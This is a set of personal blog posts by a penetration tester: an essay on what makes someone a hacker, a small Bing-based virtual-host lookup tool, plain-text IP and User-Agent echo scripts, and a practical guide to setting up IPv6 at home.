A lot of the hacking sites I read were talking about this Unix thing I’d never heard of. It sounded cool, you could “telnet” into it and get “root”. People had pages of commands you could run. It was great but where would I find a Unix system? That’s when I discovered Linux.

That old 486 with 8MB RAM quickly became a RedHat server, I started writing HTML pages (used a WYSIWYG editor and switched to source to see how it made a table, for example – see, not hard is it?!) and serving them from this cool thing called “Apache”.

I blagged a job as a Windows and Unix SysAdmin in the Civil Service. I went and did my MCSE like a good boy and I looked after some really old military Unix boxes that had proper cassette back up tapes which we cpio’ed to every night. Then restored from every morning when the feckers didn’t boot.

I learned to program in shell and perl. I wrote CGI web pages (oh how I’d love to go back and pen-test some of those now), I set up Intranet servers with MySQL, I compiled my own kernel every time the latest minor revision appeared on kernel.org, I generally consumed any and all knowledge about any and all pieces of computer stuff I could get my hands on.

Fast forward to the present day and pretty much nothing has changed. These days it’s Python and Ruby for me when it comes to programming and I’ve squeezed OSX in on the OS front, but I’m still bursting with ideas for the next project and I still want to know how things work and produce creative solutions for problems.

Am I a hacker? You know, I probably am but personally I subscribe to the old school way of thinking, “hacker” is not a term one bestows on themselves, it is a title given by one’s peers. I’ll let you decide.

Are you a hacker?
I’ve no idea. You’ll have to answer that question for yourself. Your definition may differ from mine and at the end of the day it really doesn’t matter. It’s just a label for something.

Before you say yes though, consider the following. You know MS08-067 right? Who doesn’t? Almost guaranteed pwnage. Everyone’s go-to Metasploit module on a Windows network lacking in patch management.

Have you ever actually read the source code for that Metasploit module? Do you know how it works? Have you ever attached a debugger to a Windows box while it’s being pwned by this exploit? Hmmm.

While we’re on the subject of Metasploit, have you ever written a Metasploit module? You do realise how good it is for writing exploit code right? I have been publicly critical of Metasploit on Twitter but for the record I think it’s awesome. My criticism stems not so much from Metasploit as the reality of the world we live in. I view Metasploit – out of the box – as a tool for the internal penetration tester. Out of the box Metasploit is a tool for exploiting known vulnerabilities. If you’re commissioning a penetration test in my utopia you won’t have any known vulnerabilities. You’re paying me to find the stuff you don’t know about. In the real world it doesn’t work like that.

But if you want rapid development of custom exploits then Metasploit is completely in a league of its own. You don’t really need to know Ruby to come up with a working module with selectable payloads, etc. Just awesome.

What about nmap? Ever run Wireshark while you’re running an nmap scan so you can see exactly what is being sent over the wire?

If you’re reading these questions and thinking “er no, I’ve never done that” does that mean you’re not a hacker? Well, I don’t know. Not necessarily. If you’ve never even thought to do it then I reckon no, you’re probably not a hacker. Sorry. If you put it on a list to do once you’ve finished some other cool stuff then maybe.

Hacker MOFO!
Being a hacker is a fantastic accolade, in my book and with my definition anyway. Someone who seeks out knowledge for the betterment of himself and others, it’s something to be proud of and therefore I am getting first dibs on a new phrase in a blatant nod to the CISSP Mofo himself @j4vv4d:

Hacker MOFO!

Say it loud and say it proud.

Conclusion
Well, that went on a bit. Sorry. In summary, if you’re bothered whether or not you’re a hacker then frankly you’ve got other issues. Stop worrying about a label and just hack shit. If you don’t want to hack shit then you’re not a hacker. If you’re not a hacker at least now you know and you can stop worrying about it. And if you’re not a hacker will you please get the hell out of the penetration testing industry and find some other area of information security to work in because you can be damn sure the people that break in to your network will be hackers.

Tool – bingip – CLI Virtual Host checker

Google rocks right? Well, there’s still one feature it lacks compared to Bing – the ability to search by IP address.  On bing.com you can use ip:<IP address> and it will return pages indexed from that IP address which, as a security guy is a really useful way of enumerating virtual hosts belonging to a web server.

However, a fancy web page of results is not much use to the average penetration tester, we like text files which we can pass into all sorts of other tools and scripts we come up with.  There seem to be a few command line tools which dealt with gathering data from Google but in my brief search on a BT5 instance there wasn’t one which did what I wanted so I wrote one.

bingip is a really simple tool which takes a single IP address as an argument and then makes a request to bing.com to determine domains hosted at that IP, returning each in plain-text on a new line.  It’s a very simple script at the moment which can only handle up to 50 domains (due to the page limit on Bing and me not yet getting around to coding the bit which can look at subsequent pages) and of course, can break as soon as Bing change their website – but I’ll try and keep on top of that.

Quick example then for IP address 209.20.73.195 (which happens to be pauldotcom.com):

# bingip 209.20.73.195
www.securedigitallife.com
wrt54ghacks.com
www.pauldotcom.com
defensiveintuition.com
pauldotcom.com

Useful? Hopefully. If you think so you can grab it from my Github repository at https://github.com/marcwickenden/Tools along with a few others I’ll blog about later.

IP and User-Agent checkers

This is a quickie (and I may regret this!) but if, like me, you often have a need to check your external IP or User Agent you might find this useful. I got a bit fed up with most websites being a bit unfriendly to command line parsing so I wrote one that was and decided to share it. If you want a website that will return a plain-text response telling you your IP address or User Agent look no further.

I’ve tried to keep them user-friendly so if you want to know your current Internet IP address go to:

http://ip.0×41.cc

and if you want to know your current User Agent go to:

http://ua.0×41.cc

Privacy and stuff

I’m not interested in data-mining this stuff, if people want to use it that’s great, I hope you find it useful. My web server will of course log the IP addresses which request the page but that’s only because I’m curious to know if anyone apart from me decides to use it and also because I might need to deal with abuse of the service at some point.  Other than that I’m not logging these requests.

The scripts which return the data are literally four lines each.  Both are PHP and look like this:

<?php
header(‘Content-type: text/plain’);
echo htmlentities($_SERVER['REMOTE_ADDR']) . “\n”;
?>

 

<?php
header(‘Content-type: text/plain’);
echo htmlentities($_SERVER['HTTP_USER_AGENT']) . “\n”;
?>

Complicated hey?

So, let’s say you’re about to download some dodgy website using Linux and curl through Tor and pretending you’re a Chrome user you might want to check that you are definitely proxying correctly and your UA is what you expect you could do something like the following (assuming you have privoxy running on localhost:8118):

# export http_proxy=http://localhost:8118

# curl ip.0×41.cc
93.182.132.103 <- this is not my IP address!

# curl -A “Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7″ ua.wicky.ws
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7

Simplez. Loads of other sites probably exist for this but I will commit to this always being a plain-text response, no frills, no privacy issues, just use it if you want to.

One advantage this may have over others is that my web server is IPv6 enabled so if you want to check your IPv6 address that will also work.

Future

At some point I plan to release a Firefox (and maybe Chrome) plugin which will display your current IP address and User Agent string in the browser status bar by polling these URLs.  If anyone thinks that would be useful let me know (Twitter is probably best) as it might bump it up the priority list a little.

IPv6: Getting started

In 2005 I sat my CCNP and part of one of the four exams dealt with IPv6. I had it pretty nailed down in my head at the time and passed no problems. Six years passed by and not a single IPv6 thought or packet crossed my path, well, not intentionally anyway. I pretty much forgot it all, until recently.

It’s been on my list of things to do for a while but I finally got around to making the switch to IPv6 on my home network and Internet connection.

There were a few reasons for this. The first, simple geek curiosity. There’s something to know about so I set about finding out. The second, attack vectors. :-)

I feel like I’m late to a very cool party but I’m catching up quickly. I might have to neck a few shots to get level with some of the people who’ve been here from the beginning but it’s all good.

First step: Start using it

There’s no substitute for hands-on experience. I run a pretty normal home network. Fair amount of Apple gear, Cisco, Citrix XenServer, Linux and Windows VMs, Mikrotik and Synology. OK, maybe that’s normal if you fit a certain profile. ;-) All of these devices, it transpires, play pretty nicely with IPv6. If anyone wants a specific HOWTO on any of these let me know but otherwise there are plenty of decent articles out there already.

Addresses: Dishing it out

The main thing to get your head around first with IPv6 is addressing. It’s all different, but all the same. Remember that IPv6 is only replacing one layer of the OSI so don’t panic if you don’t know anything about it, it’s just one bit. There are however, some crucial differences in behaviour between IPv4 and IPv6. The most noticeable one, at least on a small network, is Stateless Address Autoconfiguration. IPv4 actually has autoconfiguration but it’s not widely used. For most people their contact with autoconfiguration in IPv4 is “Oh, I’ve got an IP address 169.x.x.x, DHCP server is broken”. That 169 address is actually autoconfiguration doing its thing but in an IPv4 network it isn’t overly useful.

With IPv6 it becomes much more….useful.

My (now) favourite myth regarding IPv6 is that “no-one is using it”. Au contraire, nearly everyone with an OS from about 2005/6 on is using it, they just don’t realise. Windows Vista/7, Linux, OSX, iOS and BSD all include IPv6 support by default and, even better, if IPv6 is available in the network, prefer it.

If you have a bunch of nodes on the same network with IPv6 support (which you have, unless you turned it off) they’ve already configured themselves with a Link-Local address and can talk to each other. A whole network you might not have known about. Heh.

What am I talking about? The Link-Local scope is a mandatory part of the IPv6 implementation.  The network fe:80::/10 is reserved for Link-Local addresses (though a /64 mask is used). There are two ways to assign addresses in the Link-Local scope, DHCPv6 and Stateless Address Autoconfiguration. First, some IPv6 addressing basics.

IPv6 uses 128-bit addresses. Woah, I hear you say, that’s big. Well, yeh, it is (with IPv6 we can assign an address to every grain of sand on earth and still have some spare), but in reality, you only have to worry about the first 64-bits for most things. For a lot of addresses it’s even easier. Take the Link-Local range for example, let’s expand that out from its shorthand notation fe:80::/10:

fe:80:00:00:00:00:00:00:00:00:00:00:00:00:00:00

Scary big right? Nah, the :: means consecutive octets of 00 so the whole thing can be written fe:80::, not too bad. Back to autoconfiguration, IPv6 makes use of something called the EUI-64 address. I’d never heard of that before but I was familiar, like most, with the 48-bit MAC address. This is the EUI-48 address. To get an EUI-64 address from the common EUI-48 addresses used by cards today there’s a simple algorithm to perform, well documented at http://packetlife.net/blog/2008/aug/4/eui-64-ipv6/ but summarised here.

Take the sample MAC address b6:9c:2a:31:1c:a9. To get from this 48-bit address to a 64-bit address we first split it in half and insert ff:fe in the middle. This gives us:

b6:9c:2a:ff:fe:31:1c:a9

We then flip the 7th bit, specifically the universal/local flag in the OUI part of the MAC address. In this case b6 converts to binary:

1011 0110

If we flip the 7th bit we will end up with:

1011 0100

Or b4. So our EUI-64 address is b4:9c:2a:ff:fe:31:1c:a9. Autoconfiguration dictates that the last 64-bits of the IPv6 address should use the EUI-64 address, which should be unique on a local subnet. So our Link-Local address will be:

fe:80::b49c:2aff:fe31:1ca9/64

All the other IPv6 enabled nodes on your network will have performed this same process and configured a Link-Local address. I touched on this in my hashdays post but if you want to discover nodes on your local IPv6 network from your Linux box there is a multicast “all nodes” address you can trying pinging:

 ping6 ff02::1%eth0

Substituting eth0 for the appropriate IPv6 interface on your machine.

Going global

So, that’s great. All the IPv6 hosts on our network can talk to each other and always could, we just didn’t know. Now we want to start using IPv6 for something useful, like talking to other networks. These networks could be ours, such as a different VLAN or DMZ, or someone else’s, such as the Internet. Enter the Global scope. If you want to talk off your Local link you will need a Global address. How do you get one? Stateless Address Autoconfiguration can do this too. Say goodbye to DHCP unless you really need to track IP address use.

IPv6 uses Neighbor Discovery Protocol (NDP) to understand the network around it. Part of NDP includes listening for and processing Router Advertisements (RA). Guess what sends RAs? Routers of course. So in order to get our network talking global we need to turn our attention to our router.

Assuming your router talks IPv6 it should be possible to assign an IPv6 address to your router and have it advertise configuration information to connected subnets. Hosts on this network will receive the information through NDP (which works over ICMPv6) and configure a Global IP address accordingly.

This was all great but what the hell IP addresses would I assign? In IPv4 land we’re all very familiar with RFC1918 addresses which then get NATted by our router out to the Internet. Is there an equivalent in IPv6? Should we use it?

Throw off your NAT comfort blanket

Yes, there is an RFC1918 “equivalent” in IPv6. It’s called Unique Local Address (ULA). Should you use it? In my opinion, absolutely not. There are more than enough addresses to go around in IPv6, there is no need to concern oneself with private addressing. ULA’s, like RFC1918′s are not routable on the Internet so you’re going to need to translate them to something routable, a la IPv4, using NAT.

But NAT is evil right? Of course it’s not but it does cause problems for some protocols and it’s frankly unnecessary when there’s enough addresses. So ditch it. Get rid of the NAT comfort blanket, browse the Internet naked.

There’s another reason too. There are virtually no consumer grade routers which currently support IPv6 so you’ll probably be looking for something more specialised. Additionally, as NAT is largely considered superfluous in IPv6 many router vendors appear not to have implemented support for it. This is certainly the case in Mikrotik so you may not be able to do NAT even you wanted to. Bear this in mind as you design your new IPv6 network.

Assigning an address

Where then, do you get an address allocation for your new IPv6 network? I’m not going to get into dual-homing in this post as it does raise some issues in IPv6. I’ll assume this is a SOHO network and you don’t mind being tied to an ISP. So I kinda answered the question there, your ISP will give you an address allocation, usually a /48.

IPv6 Tunneling

That is assuming your ISP provides native IPv6 support which is, unlikely. If you can’t get native then your only option is a tunnel. A tunnel can come in a number of guises but essentially you’re encapsulating an IPv6 payload in an IPv4 packet that can be routed across the normal IPv4 Internet onto the IPv6 Internet where it is de-encapsulated and sent on its way.

Before I went native (more on that later) I used Hurricane Electric in order to provide this tunnel. In order to set up a tunnel you’ll need (ideally) a static IPv4 address on the Internet, a router/firewall capable of 6in4 tunnels and to allow the remote tunnel endpoint to send ICMP and protocol 41 (6in4) traffic to you.

All the details are provided on the HE website and there is a configuration tool which provides all the technical implementation steps required to set up the tunnel for various vendor devices. I was very impressed with the whole experience. You set up an account, which is free, on the HE website, then register a new Regular Tunnel with your static IPv4 address. You choose a tunnel endpoint, I chose London since I’m in the UK, and it spits out the config for your device. I was literally able to paste this into my Cisco device and the tunnel came straight up.

You will be given a /64 allocation which, if you run a typical home network with a single subnet will be fine. I don’t. Believe it or not a /64 is no good to you if you run multiple subnets. The reason is simply that, by default, the use of EUI-64 addresses in Stateless Address Autoconfiguration means you cannot further subnet the /64. It’s essentially the smallest IPv6 subnet you can use. So you need more.

Through your HE account you can request a /48 allocation. This is typical and makes use of the way IPv6 was designed. Essentially your provider is issued a /32, they then issue /48s and you, the end user, deploy multiple /64s. You don’t *have* to do it like this, but that’s the way it’s intended.

So why buck the trend? I’m not experienced enough to know better yet so I requested my /48 with a simple click and seconds later I had it. So this post can be specific I’ll tell you my allocation was 2001:470:68ba::/48. Something to be aware of, especially if you’re a privacy freak, HE are duty bound to enter details in WHOIS about the allocation. For me it doesn’t matter, I registered my allocation in my company name and those details are public anyway but if you signed up to HE with your personal address be aware that a whois query on your network allocation will turn up some of your personal details, if you supply the correct ones of course.

Going native

If you’re lucky, or clever, you’ll have an ISP who supports native IPv6. I recently switched mine in order to get this. If you’re in the UK and on ADSL I can recommend Goscomb who seem very switched on and are staffed by techies.

IPv6 comes as standard with them, just configure your ADSL router interface for autoconfiguration. Once you’re up and running a simple email to their support desk is all it takes to be allocated a /48.

Subnetting

What now then? You’ve got a /48 and you need to divide it up, sticking with tradition, into /64s. For simplicity’s sake let’s say you have two subnets, subnet A and subnet B at home and you want to assign a /64 to each. The easiest approach is to use “low number allocation”. Those are my quotes, it’s not an industry term as far as I’m aware. Let’s break that IP address allocation down for a second. The part in bold represents the first 64 bits:

20:01:47:00:68:ba:00:00:00:00:00:00:00:00:00:00

So you can see, fairly simply, that the /48 allocation prefix ends at the ba and then we have 00:00 to play with before the last 64 bits “reserved” for the EUI-64 address. This 00:00 equates to 65536 /64 subnets! Most people therefore take the easy route and say subnet A gets 20:01:47:00:68:ba:00:01/64 (or 2001:470:68ba:1::/64) and subnet B gets 20:01:47:00:68:ba:00:02/64  (or 2001:470:68ba:2::/64) – for the purist I’m aware this is not starting at zero.

Making it work

You’ve got your subnet allocation, now you need to assign addresses. Well, if you use autoconfiguration all you need to do is assign one address – your router. Hop on to your router and assign a static manual address, again, most people choose 1 so in our example, for subnet A the router is going to get the address 2001:470:68ba:1::1/64. By default all IPv6 routers, that I’m aware of, will perform RAs unless told otherwise so that is basically it. Your entire subnet will now automatically configure IPv6 Global addresses with a 2001:470:68ba:1::/64 prefix, use their EUI-64 address for the last 64 bits, set :1 as their default route and, providing your router knows to route IPv6 traffic out via the HE tunnel, you’re on the Internet using IPv6.

Testing it

ICMP is a fundamental part of IPv6. I won’t get into it here but the upshot of that means you can use ping again to test connectivity. Several major sites run an IPv6 version including Google and Facebook. I tend to use Google to test connectivity (actually, Google have always allowed ping to their sites, even on IPv4, but hey). From an OSX or Linux box try the command:

ping6 2a00:1450:8007::69

This is the IP address for ipv6.google.com. You should see replies. If you do, you’re over the hardest part.

The next step is DNS resolution. This is going to depend on your set up. If you use your upstream ISP for your DNS, as most people do, you will need to hope their DNS servers support IPv6. From your IPv6 enabled host, though you may not be aware, every time you look up an address it’s actually been asking for an AAAA record first. The AAAA record is the IPv6 address for a host. Often this address is not returned or is not routable so it falls back and requests the A record, IPv4 address. If your ISP does not support IPv6 in their DNS you have two alternatives.

1) Use an alternate, public DNS service such as OpenDNS or Google Public DNS

2) Build and use your own resolver

Both of these are beyond the scope of this article but FYI I use my own DNS server, maybe I’ll do a write up on building one of those one day but there’s loads available already. Ping me if you have questions.

Once you have routable IPv6 and DNS working you’re basically all set to use IPv6 in the wild. The best thing to do next is visit http://test-ipv6.com which will perform a full diagnostic of your IPv6 capability. If you come back with 10/10 then you’re doing very well.

Firewalls

Something to bear in mind with IPv6. If you do it the “proper” way, as I’ve outlined here, there’s no NAT. If you don’t want your host being contacted directly from the Internet you should be sure that your firewall is actually filtering IPv6 traffic. I can’t possibly go through instructions for every firewall here but there are some basics to be aware of. Every firewall I’ve come across so far has a different ruleset for IPv6 versus IPv4, so you can’t assume you’re protected.

That includes Linux where the ip6tables command is used to configure the IPv6 firewall.  You could be well defended against IPv4 using iptables but allowing any traffic from IPv6. This can be OK on a link-local subnet where there is likely an element of trust, but a different ball game once you’re Internet addressable.

Hurricane Electric offer a free nmap scan through their website to your allocated IP which you can use to test your firewall, alternatively, contact me and I’ll do it for you. ;-)

Privacy

Something which may freak you out, it did me, the first time I saw it. If you go the http://test-ipv6.com/ website, it reveals your “internal” IPv6 address. Of course it does, there’s no NAT. On this topic there’s a couple of things to note.

Firstly, unless you’re deliberately proxying or tunnelling through different sites and being smart, privacy on the Internet is a myth. Don’t think for one minute that your RFC1918 network NATted behind your ISP assigned address is any protection at all. With IPv6 and no NAT it’s just making it explicit.

Many OSes do provide so-called “Privacy Addresses” which are randomly generated valid additional IPv6 addresses which the host adds to your interface and will use to communicate to Global Scope networks. This means you can browse the Internet without divulging your true IP address on the local LAN. Windows does this by default.

It seems appealing on the face of it but ultimately, it’s pointless. Learn to control the information given away to anonymous websites through better means, not relying on security through obscurity. Your IP address is meaningless if the attacker gets your computer to initiate the connection.

Summing up

Switching to IPv6 was remarkably easy. Go native if you can or get a free tunnel from HE (or other provider) but either way, get yourself connected via IPv6 as there are so many things to learn. I also switched my VPS provider from Amazon to a company called BitFolk who offer excellent pricing and native IPv6 support so now my websites (with the exception of this which is hosted at wordpress.com) all enjoy IPv6 too.

Watch this space for some more posts soon as I start to explore the attacks and defences in IPv6 and please get in touch with me if you have any questions.

Return top